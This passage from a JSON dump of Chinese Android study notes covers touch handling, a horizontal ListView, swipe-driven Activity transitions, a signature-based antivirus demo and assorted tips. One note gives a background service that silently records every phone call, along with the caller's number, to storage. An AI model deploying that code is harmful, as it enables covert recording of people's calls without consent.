firstClickTime;\n\t\t\t\t\t\tif(dtime<500){\n\t\t\t\t\t\t\t//双击事件.\n\t\t\t\t\t\t\tLog.i(TAG,\"双击居中\");\n\t\t\t\t\t\t\tint iv_width = iv_drag_view.getRight() - iv_drag_view.getLeft();\n\t\t\t\t\t\t\tiv_drag_view.layout(display.getWidth()/2-iv_width/2, iv_drag_view.getTop(), display.getWidth()/2+iv_width/2, iv_drag_view.getBottom());\n\t\t\t\t\t\t\tint lasty = iv_drag_view.getTop();//得到最后在离屏幕上方的距离\n\t\t\t\t\t\t\tint lastx = iv_drag_view.getLeft();//得到最后离屏幕左边的距离\n\t\t\t\t\t\t\tEditor editor = sp.edit();\n\t\t\t\t\t\t\teditor.putInt(\"lastx\", lastx);\n\t\t\t\t\t\t\teditor.putInt(\"lasty\", lasty);\n\t\t\t\t\t\t\teditor.commit();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfirstClickTime = 0;//将第一次点击的时间还原成0。\n\t\t\t\t\t\treturn;\n\t\t\t\t\t} else {\n\t\t\t\t\t//第一次点击\n\t\t\t\t\t\tfirstClickTime = System.currentTimeMillis();//  记录第一次点击的时间\n\t\t\t\t\t\t\t//新开一个线程，在这个子线程中如果是500毫秒内没有再点击就将第一次点击的时间设置为0\n\t\t\t\t\t\tnew Thread(){\n\t\t\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\tThread.sleep(500);\n\t\t\t\t\t\t\t\t\tfirstClickTime = 0;\n\t\t\t\t\t\t\t\t} catch (InterruptedException e) {\n\t\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t};\n\t\t\t\t\t\t}.start();\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\t```\n\n6. 触摸和双击同时发生时候的返回值\n    ```java\n\t//onTouch方法的返回值，True if the listener has consumed the event, false otherwise,true 监听器会把这个事件给消费掉, false 不会消费掉这个事件\n\tiv_drag_view.setOnTouchListener(new OnTouchListener() {\n\n\t\tint startX , startY;\n\t\tpublic boolean onTouch(View v, MotionEvent event) {\n\t\t\tswitch (event.getAction()) {\n\t\t\tcase MotionEvent.ACTION_DOWN:// 手指触摸到屏幕的事件\n\t\t\t\tLog.i(TAG,\"摸到这个控件了\");\n\t\t\t\tstartX = (int) event.getRawX();\n\t\t\t\tstartY = (int) event.getRawY();\n\t\t\t\tbreak;\n\t\t\tcase MotionEvent.ACTION_MOVE:// 手指在屏幕上移动的事件\n\t\t\t\tLog.i(TAG,\"移动\");\n\t\t\t\tint newX = (int) event.getRawX();\n\t\t\t\tint newY = (int) event.getRawY();\n\t\t\t\tint dx = newX - startX;\n\t\t\t\tint dy = newY - startY;\n\t\t\t\tint l = iv_drag_view.getLeft();\n\t\t\t\tint r = iv_drag_view.getRight();\n\t\t\t\tint b = iv_drag_view.getBottom();\n\t\t\t\tint t = iv_drag_view.getTop();\n\n\t\t\t\tint newl = l+dx;\n\t\t\t\tint newr = r+dx;\n\t\t\t\tint newt = t+dy;//imageview 在窗体中新的位置\n\t\t\t\tint newb = b+dy;\n\n\t\t\t\tif(newl<0||newt < 0 ||newb>display.getHeight()-30||newr>display.getWidth()){\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tint tv_height = tv_drag_view.getBottom() - tv_drag_view.getTop();\n\n\t\t\t\tif(newt>display.getHeight()/2){//imageview在窗体的下方\n\t\t\t\t\t//textview在窗体的上方\n\t\t\t\t\ttv_drag_view.layout(tv_drag_view.getLeft(), 0, tv_drag_view.getRight(), tv_height);\n\t\t\t\t}else{\n\t\t\t\t\ttv_drag_view.layout(tv_drag_view.getLeft(), display.getHeight()-tv_height-30, tv_drag_view.getRight(), display.getHeight()-30);\n\t\t\t\t\t//textview在窗体的下方\n\t\t\t\t}\n\n\t\t\t\tiv_drag_view.layout(newl,  newt, newr, newb);\n\n\t\t\t\t//更新手指开始的位置.\n\t\t\t\tstartX = (int) event.getRawX();\n\t\t\t\tstartY = (int) event.getRawY();\n\t\t\t\tbreak;\n\t\t\tcase MotionEvent.ACTION_UP: // 手指在离开屏幕的一瞬间对应的事件.\n\t\t\t\tLog.i(TAG,\"放手\");\n\t\t\t\tint lasty = iv_drag_view.getTop();//得到最后在离屏幕上方的距离\n\t\t\t\tint lastx = iv_drag_view.getLeft();//得到最后离屏幕左边的距离\n\t\t\t\tEditor editor = sp.edit();\n\t\t\t\teditor.putInt(\"lastx\", lastx);\n\t\t\t\teditor.putInt(\"lasty\", lasty);\n\t\t\t\teditor.commit();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t// 这里对于触摸事件应该是返回true为什么这里返回false呢，因为这里这一个控件同时实现了点击和触摸这两个事件，如果返回true，\n\t\t\t// 那么就不可能发生点击事件了，所以对于同时实现点击和触摸的控件返回值要为false\n\t\t\treturn false;\n\t\t}\n\t});\n\t```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/来电监听及录音.md",
    "content": "来电监听及录音\n===\n\n1. 来电状态监听\n\t```java\n\tpublic class MyService extends Service {\n\n\t\tprivate MediaRecorder mRecorder;\n\t\tprivate String num;\n\n\t\t@Override\n\t\tpublic void onCreate() {\n\t\t\tsuper.onCreate();\n\t\t\tTelephonyManager manager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);    // 获取电话管理器\n\t\t\tmanager.listen(new MyPhoneStateListener(), PhoneStateListener.LISTEN_CALL_STATE);    // 监听电话状态\n\t\t}\n\n\t\tprivate class MyPhoneStateListener extends PhoneStateListener {            // 电话状态监听器\n\t\t\tpublic void onCallStateChanged(int state, String incomingNumber) {    // 在电话状态改变时执行\n\t\t\t\tswitch (state) {\n\t\t\t\t\tcase TelephonyManager.CALL_STATE_RINGING:    // 振铃\n\t\t\t\t\t\tSystem.out.println(\"来电话了\");\n\t\t\t\t\t\tnum = incomingNumber;//得到来电号码\n\t\t\t\t\t\tbreak;        \n\t\t\t\t\tcase TelephonyManager.CALL_STATE_OFFHOOK:    // 摘机\n\t\t\t\t\t\tSystem.out.println(\"开始通话\");\n\t\t\t\t\t\tstart();\n\t\t\t\t\t\tbreak;    \n\t\t\t\t\tcase TelephonyManager.CALL_STATE_IDLE:        // 空闲\n\t\t\t\t\t\tSystem.out.println(\"挂断电话\");\n\t\t\t\t\t\tstop();\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tpublic void onDestroy() {\n\t\t\ttm.listen(listener, PhoneStateListener.LISTEN_NONE);// 取消监听\n\t\t\tlistener = null;\n\t\t}\n\t```\n\n2. 录音\n\t```java\n    private void start() {\n        mRecorder = new MediaRecorder();                            // 创建媒体记录器\n        mRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);       // 指定音频源(麦克风)\n        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);      // 设置输出格式(3gp)\n        mRecorder.setOutputFile(\"/mnt/sdcard/\" + num + \"-\" + System.currentTimeMillis() + \".3gp\");    // 指定文件路径(SD卡)\n        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);       // 指定编码(AMR_NB)\n        try {\n            mRecorder.prepare();    // 准备\n        } catch (Exception e) {\n            e.printStackTrace();\n        }    \n        mRecorder.start();   // 开始\n    }\n\n    @Override\n    public IBinder onBind(Intent intent) {\n        return null;\n    }\n\t\n\t//下面是录音\n    private void stop() {\n        if (mRecorder != null) {\n            mRecorder.stop();        // 停止\n            mRecorder.release();    // 释放\n            mRecorder = null;        // 垃圾回收\n        }\n    }\n\t```\n\t\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/横向ListView.md",
    "content": "横向ListView\n===\n\n```java\n/**\n * 自定义的一个水平方向的ListView，用法和ListView一样，也是去设置适配器(BaseAdapter的子类)\n */\npublic class HorizontialListView extends AdapterView<ListAdapter> {\n    public boolean mAlwaysOverrideTouch = true;\n    protected ListAdapter mAdapter;\n    private int mLeftViewIndex = -1;\n    private int mRightViewIndex = 0;\n    protected int mCurrentX;\n    protected int mNextX;\n    private int mMaxX = Integer.MAX_VALUE;\n    private int mDisplayOffset = 0;\n    protected Scroller mScroller;\n    private GestureDetector mGesture;\n    private Queue<View> mRemovedViewQueue = new LinkedList<View>();\n    private OnItemSelectedListener mOnItemSelected;\n    private OnItemClickListener mOnItemClicked;\n    private boolean mDataChanged = false;\n    public HorizontialListView(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        initView();\n    }\n    public HorizontialListView(Context context, AttributeSet attrs, int defStyle) {\n        super(context, attrs, defStyle);\n        initView();\n    }\n    public HorizontialListView(Context context) {\n        super(context);\n        initView();\n    }\n    private synchronized void initView() {\n        mLeftViewIndex = -1;\n        mRightViewIndex = 0;\n        mDisplayOffset = 0;\n        mCurrentX = 0;\n        mNextX = 0;\n        mMaxX = Integer.MAX_VALUE;\n        mScroller = new Scroller(getContext());\n        mGesture = new GestureDetector(getContext(), mOnGesture);\n    }\n    @Override\n    public void setOnItemSelectedListener(\n            AdapterView.OnItemSelectedListener listener) {\n        mOnItemSelected = listener;\n    }\n    @Override\n    public void setOnItemClickListener(AdapterView.OnItemClickListener listener) {\n        mOnItemClicked = listener;\n    }\n    private DataSetObserver mDataObserver = new DataSetObserver() {\n        @Override\n        public void onChanged() {\n            synchronized (HorizontialListView.this) {\n                mDataChanged = true;\n            }\n            invalidate();\n            requestLayout();\n        }\n        @Override\n        public void onInvalidated() {\n            reset();\n            invalidate();\n            requestLayout();\n        }\n    };\n    @Override\n    public ListAdapter getAdapter() {\n        return mAdapter;\n    }\n    @Override\n    public View getSelectedView() {\n        // TODO: implement\n        return null;\n    }\n    @Override\n    public void setAdapter(ListAdapter adapter) {\n        if (mAdapter != null) {\n            mAdapter.unregisterDataSetObserver(mDataObserver);\n        }\n        mAdapter = adapter;\n        mAdapter.registerDataSetObserver(mDataObserver);\n        reset();\n    }\n    private synchronized void reset() {\n        initView();\n        removeAllViewsInLayout();\n        requestLayout();\n    }\n    @Override\n    public void setSelection(int position) {\n        // TODO: implement\n    }\n    private void addAndMeasureChild(final View child, int viewPos) {\n        LayoutParams params = child.getLayoutParams();\n        if (params == null) {\n            params = new LayoutParams(LayoutParams.FILL_PARENT,\n                    LayoutParams.FILL_PARENT);\n        }\n        addViewInLayout(child, viewPos, params, true);\n        child.measure(\n                MeasureSpec.makeMeasureSpec(getWidth(), MeasureSpec.AT_MOST),\n                MeasureSpec.makeMeasureSpec(getHeight(), MeasureSpec.AT_MOST));\n    }\n    @Override\n    protected synchronized void onLayout(boolean changed, int left, int top,\n            int right, int bottom) {\n        super.onLayout(changed, left, top, right, bottom);\n        if (mAdapter == null) {\n            return;\n        }\n        if (mDataChanged) {\n            int oldCurrentX = mCurrentX;\n            initView();\n            removeAllViewsInLayout();\n            mNextX = oldCurrentX;\n            mDataChanged = false;\n        }\n        if (mScroller.computeScrollOffset()) {\n            int scrollx = mScroller.getCurrX();\n            mNextX = scrollx;\n        }\n        if (mNextX < 0) {\n            mNextX = 0;\n            mScroller.forceFinished(true);\n        }\n        if (mNextX > mMaxX) {\n            mNextX = mMaxX;\n            mScroller.forceFinished(true);\n        }\n        int dx = mCurrentX - mNextX;\n        removeNonVisibleItems(dx);\n        fillList(dx);\n        positionItems(dx);\n        mCurrentX = mNextX;\n        if (!mScroller.isFinished()) {\n            post(new Runnable() {\n                @Override\n                public void run() {\n                    requestLayout();\n                }\n            });\n        }\n    }\n    private void fillList(final int dx) {\n        int edge = 0;\n        View child = getChildAt(getChildCount() - 1);\n        if (child != null) {\n            edge = child.getRight();\n        }\n        fillListRight(edge, dx);\n        edge = 0;\n        child = getChildAt(0);\n        if (child != null) {\n            edge = child.getLeft();\n        }\n        fillListLeft(edge, dx);\n    }\n    private void fillListRight(int rightEdge, final int dx) {\n        while (rightEdge + dx < getWidth()\n                && mRightViewIndex < mAdapter.getCount()) {\n            View child = mAdapter.getView(mRightViewIndex,\n                    mRemovedViewQueue.poll(), this);\n            addAndMeasureChild(child, -1);\n            rightEdge += child.getMeasuredWidth();\n            if (mRightViewIndex == mAdapter.getCount() - 1) {\n                mMaxX = mCurrentX + rightEdge - getWidth();\n            }\n            mRightViewIndex++;\n        }\n    }\n    private void fillListLeft(int leftEdge, final int dx) {\n        while (leftEdge + dx > 0 && mLeftViewIndex >= 0) {\n            View child = mAdapter.getView(mLeftViewIndex,\n                    mRemovedViewQueue.poll(), this);\n            addAndMeasureChild(child, 0);\n            leftEdge -= child.getMeasuredWidth();\n            mLeftViewIndex--;\n            mDisplayOffset -= child.getMeasuredWidth();\n        }\n    }\n    private void removeNonVisibleItems(final int dx) {\n        View child = getChildAt(0);\n        while (child != null && child.getRight() + dx <= 0) {\n            mDisplayOffset += child.getMeasuredWidth();\n            mRemovedViewQueue.offer(child);\n            removeViewInLayout(child);\n            mLeftViewIndex++;\n            child = getChildAt(0);\n        }\n        child = getChildAt(getChildCount() - 1);\n        while (child != null && child.getLeft() + dx >= getWidth()) {\n            mRemovedViewQueue.offer(child);\n            removeViewInLayout(child);\n            mRightViewIndex--;\n            child = getChildAt(getChildCount() - 1);\n        }\n    }\n    private void positionItems(final int dx) {\n        if (getChildCount() > 0) {\n            mDisplayOffset += dx;\n            int left = mDisplayOffset;\n            for (int i = 0; i < getChildCount(); i++) {\n                View child = getChildAt(i);\n                int childWidth = child.getMeasuredWidth();\n                child.layout(left, 0, left + childWidth,\n                        child.getMeasuredHeight());\n                left += childWidth;\n            }\n        }\n    }\n    public synchronized void scrollTo(int x) {\n        mScroller.startScroll(mNextX, 0, x - mNextX, 0);\n        requestLayout();\n    }\n    @Override\n    public boolean dispatchTouchEvent(MotionEvent ev) {\n        boolean handled = mGesture.onTouchEvent(ev);\n        return handled;\n    }\n    protected boolean onFling(MotionEvent e1, MotionEvent e2, float velocityX,\n            float velocityY) {\n        synchronized (HorizontialListView.this) {\n            mScroller.fling(mNextX, 0, (int) -velocityX, 0, 0, mMaxX, 0, 0);\n        }\n        requestLayout();\n        return true;\n    }\n    protected boolean onDown(MotionEvent e) {\n        mScroller.forceFinished(true);\n        return true;\n    }\n    private OnGestureListener mOnGesture = new GestureDetector.SimpleOnGestureListener() {\n        @Override\n        public boolean onDown(MotionEvent e) {\n            return HorizontialListView.this.onDown(e);\n        }\n        @Override\n        public boolean onFling(MotionEvent e1, MotionEvent e2, float velocityX,\n                float velocityY) {\n            return HorizontialListView.this.onFling(e1, e2, velocityX,\n                    velocityY);\n        }\n        @Override\n        public boolean onScroll(MotionEvent e1, MotionEvent e2,\n                float distanceX, float distanceY) {\n            synchronized (HorizontialListView.this) {\n                mNextX += (int) distanceX;\n            }\n            requestLayout();\n            return true;\n        }\n        @Override\n        public boolean onSingleTapConfirmed(MotionEvent e) {\n            Rect viewRect = new Rect();\n            for (int i = 0; i < getChildCount(); i++) {\n                View child = getChildAt(i);\n                int left = child.getLeft();\n                int right = child.getRight();\n                int top = child.getTop();\n                int bottom = child.getBottom();\n                viewRect.set(left, top, right, bottom);\n                if (viewRect.contains((int) e.getX(), (int) e.getY())) {\n                    if (mOnItemClicked != null) {\n                        mOnItemClicked.onItemClick(HorizontialListView.this,\n                                child, mLeftViewIndex + 1 + i,\n                                mAdapter.getItemId(mLeftViewIndex + 1 + i));\n                    }\n                    if (mOnItemSelected != null) {\n                        mOnItemSelected.onItemSelected(\n                                HorizontialListView.this, child, mLeftViewIndex\n                                        + 1 + i,\n                                mAdapter.getItemId(mLeftViewIndex + 1 + i));\n                    }\n                    break;\n                }\n            }\n            return true;\n        }\n    };\n}\n```\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/滑动切换Activity(GestureDetector).md",
    "content": "滑动切换Activity(GestureDetector)\n===\n\n1. 实现手势滑动切换`Activity`        \n\t- 创建一个手势识别器(`GestureDetector`)       \n\t- 在`Activity`的`onTouchEvent`中去使用该手势识别器      \n\t\t```java\n\t\tpublic abstract class SetupBaseActivity extends Activity {\n\t\t\tprotected SharedPreferences sp;\n\t\t\tprotected GestureDetector mGestureDetector;\n\n\t\t\t@Override\n\t\t\tprotected void onCreate(Bundle savedInstanceState) {\n\t\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\t\tsp =getSharedPreferences(\"config\", MODE_PRIVATE);\n\t\t\t\tinitView();\n\t\t\t\tsetupView();\n\t\t\t\t//1.创建一个手势识别器 new 对象，并给这个手势识别器设置监听器\n\t\t\t\tmGestureDetector = new GestureDetector(new GestureDetector.SimpleOnGestureListener(){\n\t\t\t\t\t//当手指在屏幕上滑动的时候 调用的方法.\n\t\t\t\t\t@Override\n\t\t\t\t\t//e1代表的是手指刚开始滑动的事件，e2代表手指滑动完了的事件\n\t\t\t\t\tpublic boolean onFling(MotionEvent e1, MotionEvent e2,float velocityX, float velocityY) {\n\t\t\t\t\t\tif(e1.getRawX() - e2.getRawX() > 200){\n\t\t\t\t\t\t\tshowNext();//向右滑动，显示下一个界面\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(e2.getRawX() - e1.getRawX() > 200){\n\t\t\t\t\t\t\tshowPre();//向左滑动，显示上一个界面\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn super.onFling(e1, e2, velocityX, velocityY);\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\t//2.让手势识别器生效，重写Activity的触摸事件，并且将Activity的触摸事件传入到手势识别器中\n\t\t\t@Override\n\t\t\tpublic boolean onTouchEvent(MotionEvent event) {\n\t\t\t\tmGestureDetector.onTouchEvent(event);\n\t\t\t\treturn super.onTouchEvent(event);\n\t\t\t}\n\t\t}\n\t\t```\n\n2. 实现切换效果\n\t经过上一步已经实现了滑动界面的切换，但是切换界面时的效果不好看，我们需要自定义切换的效果\n\t\n\t- 在res目录下面新建一个anim文件夹在这个文件夹中新建动画效果\n\t\ttran_next_in.xml//下一个界面进入的样式         \n\t\ttran_next_out.xml//下一个界面进入时当前页面出去的样式          \n\t\ttran_pre_in.xml//上一个界面进入的样式          \n\t\ttran_pre_out.xml//上一个界面进入时当前页面出去的样式        \n \n\t\t- tran_next_in.xml里面的内容\n\t\t\t```xml\n\t\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t\t<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"    //translate是指定整个图片是位移动\n\t\t\t\tandroid:fromXDelta=\"100%p\" //开始时的X轴位置，100%p当表是当前窗体的宽度\n\t\t\t\tandroid:toXDelta=\"0\"//结束时候的X轴位置\n\t\t\t\tandroid:fromYDelta=\"0\"//开始时Y轴的位置\n\t\t\t\tandroid:toYDelta=\"0\"//结束时Y轴的位置\n\t\t\t\tandroid:duration=\"300\"//整个动画持续的时间\n\t\t\t\t>\n\t\t\t</translate>\n\t\t\t```\n\t \n\t\t- tran_next_out.xml里面的内容\n\t\t\t```xml\n\t\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t\t<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\t\t\tandroid:fromXDelta=\"0\"\n\t\t\t\tandroid:toXDelta=\"-100%p\"\n\t\t\t\tandroid:fromYDelta=\"0\"\n\t\t\t\tandroid:toYDelta=\"0\"\n\t\t\t\tandroid:duration=\"300\"\n\t\t\t\t>\n\t\t\t</translate>\n\t\t\t```\n\t \n\t\t- tran_pre_in.xml里面的内容\n\t\t\t```xml\n\t\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t\t<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\t\t\tandroid:fromXDelta=\"-100%p\"\n\t\t\t\tandroid:toXDelta=\"0\"\n\t\t\t\tandroid:fromYDelta=\"0\"\n\t\t\t\tandroid:toYDelta=\"0\"\n\t\t\t\tandroid:duration=\"300\"\n\t\t\t\t>\n\t\t\t</translate>\n\t\t\t```\n\t \n\t\t- tran_pre_out.xml里面的内容\n\t\t\t```xml\n\t\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t\t<translate xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\t\t\tandroid:fromXDelta=\"0\"\n\t\t\t\tandroid:toXDelta=\"100%p\"\n\t\t\t\tandroid:fromYDelta=\"0\"\n\t\t\t\tandroid:toYDelta=\"0\"\n\t\t\t\tandroid:duration=\"300\"\n\t\t\t\t>\n\t\t\t</translate>\n\t\t\t```\n  \n\t- 让`Activity`在创建和销毁时使用上面自定义的动画\n\t\t\n\t\t`public void overridePendingTransition(int enterAnim, int exitAnim);`\n\t\t`Call immediately after one of the flavors of startActivity(Intent) or finish() to specify an explicit transition animation to perform next.`\n\t\t`Parameters:`\n\t\t`enterAnim - A resource ID of the animation resource to use for the incoming activity. Use 0 for no animation.`\n\t\t`exitAnim - A resource ID of the animation resource to use for the outgoing activity. Use 0 for no animation.`\n\t\n\t\t```java\n\t\tpublic void showNext() {      \n\t\t\tIntent intent = new Intent(this, Setup3Activity.class);\n\t\t\tstartActivity(intent);\n\t\t\tfinish();\n\t\t\t//调用此方法让动画效果生效\n\t\t\toverridePendingTransition(R.anim.tran_next_in, R.anim.tran_next_out);\n\t\t}\n    \n\t\tpublic void showPre() {\n\t\t\tIntent intent = new Intent(this, Setup1Activity.class);\n\t\t\tstartActivity(intent);\n\t\t\tfinish();\n\t\t\toverridePendingTransition(R.anim.tran_pre_in, R.anim.tran_pre_out);\n\t\t}\n\t\t```\n\t\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n \n "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/病毒.md",
    "content": "病毒\n===\n\n病毒：一个特殊计算机程序.      \n对于病毒的查杀都是基于特征码的识别.杀毒软件都需要有一个病毒信息的数据库.常用病毒数据库2000万条     \n杀毒引擎:  一套复杂高效的数据库查询算法.       \n1. 提取文件特征码 1秒    \n2. 查询特征码是否在数据库里面 8秒      \n就是根据文件的特征码去病毒数据库中查询，如果能找到就说明这个文件是一个病毒          \n\n病毒的查杀     \n下面以一个文件的MD5编码后的签名来判断是否是病毒\n\n```java\npublic class AntiVirusActivity extends Activity {\n    private ImageView iv_scan;\n    private PackageManager pm;\n    private TextView scan_status;\n    private ProgressBar pb;\n    private LinearLayout ll_container;\n    private List<PackageInfo> virusInfos;\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_anti_virus);\n        iv_scan = (ImageView) findViewById(R.id.iv_scan);\n        RotateAnimation ra = new RotateAnimation(0, 360,\n                Animation.RELATIVE_TO_SELF, 1.0f, Animation.RELATIVE_TO_SELF,\n                1.0f);\n        ra.setDuration(800);\n        ra.setRepeatCount(Animation.INFINITE);\n        ra.setRepeatMode(Animation.RESTART);\n        iv_scan.startAnimation(ra);\n        pb = (ProgressBar) findViewById(R.id.progressBar1);\n        scan_status = (TextView) findViewById(R.id.scan_status);\n        ll_container = (LinearLayout) findViewById(R.id.ll_container);\n        pm = getPackageManager();\n        virusInfos = new ArrayList<PackageInfo>();\n        new AsyncTask<Void, Object, Void>() {\n\n            @Override\n            protected Void doInBackground(Void... params) {\n                // 检查应用程序的签名 是否在病毒数据库里面.\n\n                try {\n                    Thread.sleep(500);\n                    List<PackageInfo> infos = pm\n                            .getInstalledPackages(PackageManager.GET_UNINSTALLED_PACKAGES\n                                    | PackageManager.GET_SIGNATURES);\n                    pb.setMax(infos.size());\n                    int total = 0;\n                    for (PackageInfo info : infos) {\n                        Signature[] signatures = info.signatures;\n\t\t\t\t\t\t// 得到应用程序的签名信息, 用签名来判断\n                        String sign = signatures[0].toCharsString();\n                        String md5 = MD5Utils.encode(sign);\n                        String result = VirusDao.findVirsu(md5);\n                        if (result != null) {\n                            publishProgress(info, true);\n                            virusInfos.add(info);\n                        } else {\n                            publishProgress(info, false);\n                        }\n                        total++;\n                        pb.setProgress(total);\n                        Thread.sleep(40);\n                    }\n                } catch (InterruptedException e) {\n                    // TODO Auto-generated catch block\n                    e.printStackTrace();\n                }\n                return null;\n            }\n\n            @Override\n            protected void onPreExecute() {\n                scan_status.setText(\"正在初始化双核杀毒引擎...\");\n                super.onPreExecute();\n            }\n\n            @Override\n            protected void onPostExecute(Void result) {\n                scan_status.setText(\"扫描完毕!\");\n                iv_scan.clearAnimation();\n\n                if (virusInfos.size() > 0) {\n                    AlertDialog.Builder builder = new Builder(\n                            AntiVirusActivity.this);\n                    builder.setTitle(\"发现病毒\");\n                    builder.setMessage(\"是否立刻清理?\");\n                    builder.setPositiveButton(\"确定\", new OnClickListener() {\n\n                        @Override\n                        public void onClick(DialogInterface dialog, int which) {\n                            for (PackageInfo info : virusInfos) {\n                                Intent intent = new Intent();\n                                intent.setAction(Intent.ACTION_DELETE);\n                                intent.setData(Uri.parse(\"package:\"\n                                        + info.packageName));\n                                startActivity(intent);\n                            }\n                        }\n                    });\n                    builder.setNegativeButton(\"取消\", new OnClickListener() {\n\n                        @Override\n                        public void onClick(DialogInterface dialog, int which) {\n                            // TODO Auto-generated method stub\n\n                        }\n                    });\n                    builder.show();\n                }\n\n                super.onPostExecute(result);\n            }\n\n            @Override\n            protected void onProgressUpdate(Object... values) {\n                PackageInfo packinfo = (PackageInfo) values[0];\n                Boolean result = (Boolean) values[1];\n                scan_status.setText(\"正在扫描:\"\n                        + packinfo.applicationInfo.loadLabel(pm));\n                TextView tv = new TextView(getApplicationContext());\n                tv.setTextSize(16);\n                if (result) {// 发现病毒\n                    tv.setTextColor(Color.RED);\n                    tv.setText(\"发现病毒程序:\"\n                            + packinfo.applicationInfo.loadLabel(pm));\n                } else {\n                    tv.setTextColor(Color.BLACK);\n                    tv.setText(\"扫描安全:\" + packinfo.applicationInfo.loadLabel(pm));\n                }\n                ll_container.addView(tv, 0);\n                super.onProgressUpdate(values);\n            }\n\n        }.execute();\n    }\n}\n```\n\n----\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/知识大杂烩.md",
    "content": "知识大杂烩\n===\n\n1.开启服务是*Intent*传递数据\n---\n\n- 当开启一个`Service`时，如果要通过`Intent`去传递一些数据，在`Service`的`onStartCommand`方法中有一个参数`Intent`，我们可以通过这个`Intent`来得到传递过来的数据    \n\n```java\npublic class TestService extends Service {\n\n    @Override\n    public IBinder onBind(Intent intent) {\n\t\treturn null;\n\t}\n\n\t@Override\n\tpublic int onStartCommand(Intent intent, int flags, int startId) {\n\t\tLog.i(\"@@@\", intent.getStringExtra(\"aa\"));\n\t\treturn super.onStartCommand(intent, flags, startId);\n\t}\n}\n```\n\n2.*JVM*与*Dalvik*虚拟机的区别\n---\n\n- `JVM`是基于栈的架构(内存)，编译过程为`.java`->`.class`->`.jar`    \n- `Dlvik(DVM)是基于寄存器的架构(*CPU*里面的存储空间,*CPU*操作数据比内存要快)，编译过程为`.java`->`.class`->`.dex`->`.odex`\n- 一个应用，一个虚拟机实例，一个进程\n 1. 每一个`Android`应用都运行在一个`Dalvik`虚拟机实例里，而每一个虚拟机实例都是一个独立的进程空间。每个进程之间可以通信（`IPC`，`Binder`机制实现）。虚拟机的线程机制，内存分配和管理，`Mutex`等等都是依赖底层操作系统而实现的。\n 2. 不同的应用在不同的进程空间里运行，当一个虚拟机关闭或意外中止时不会对其它 虚拟机造成影响，可以最大程度的保护应用的安全和独立运行。\n\n3.Eclipse下关联support v4源码\n---\n\n- 在`libs`目录下新建`android-support-v4.jar.properties`文件  \n内容为`src = D:\\\\Java\\\\adt-bundle-windows\\\\sdk\\\\extras\\\\android\\\\support\\\\v4\\\\src`,`(即指向adt中的support v4源码文件)`   \n然后刷新即可关联support v4源码。\n\n4.自定义对话框\n---\n    \n示例代码：\n```java\npublic void showDialog() {\n    AlertDialog.Builder builder = new Builder(this);\n    View view = View.inflate(this, R.layout.dialog, null);\n    builder.setView(view);//将自定义的View设置到对话框中\n    builder.show()\n}\n```\n但是会发现对话框上面和下面都有一个小黑背景，这是因为对话框的默认背景是黑色的。那么怎么才让它去掉上面的黑背景呢？\n\n```java\npublic void showDialog() { \n    AlertDialog.Builder builder = new Builder(this);\n    View view = View.inflate(this, R.layout.dialog, null);\n    AlertDialog dialog = builder.create();\n    dialog.setView(view,0,0,0,0);//设置填空的view据对话框的上下左右的距离\n    dialog.show();\n}\n```\n\n5.EditText添加内容改变的监听器\n---\n```java\nmEditText.addTextChangedListener(new TextWatcher() {\n    //EditText中文本内容改变的时候自动调用的方法\n    public void onTextChanged(CharSequence s, int start, int before, int count) {\n        //这个CharSequence就是当前的文本输入框中的内容\n        String address  = AddressDao.getAddress(s.toString());\n        tv_numberquery_address.setText(address);\n    }\n    \n    public void beforeTextChanged(CharSequence s, int start, int count, int after) {\n        \n    }\n    \n    public void afterTextChanged(Editable s) {\n        \n    }\n});\n```\n\n6.Android版本适配\n---\n\n对于`Android`的不同版本其功能可能不一样，我们要通过`Build.VERSION.SDK_INT`来判断当前系统的版本，从而根据不同的版本来设置不同的操作\n\n这里以进入到`Setting`清楚缓存的界面为例\n```java\npublic void onClick(View v) {\n\tif (Build.VERSION.SDK_INT >= 9) {\n\t\t// 适合2.3 以及以上系统\n\t\tIntent intent = new 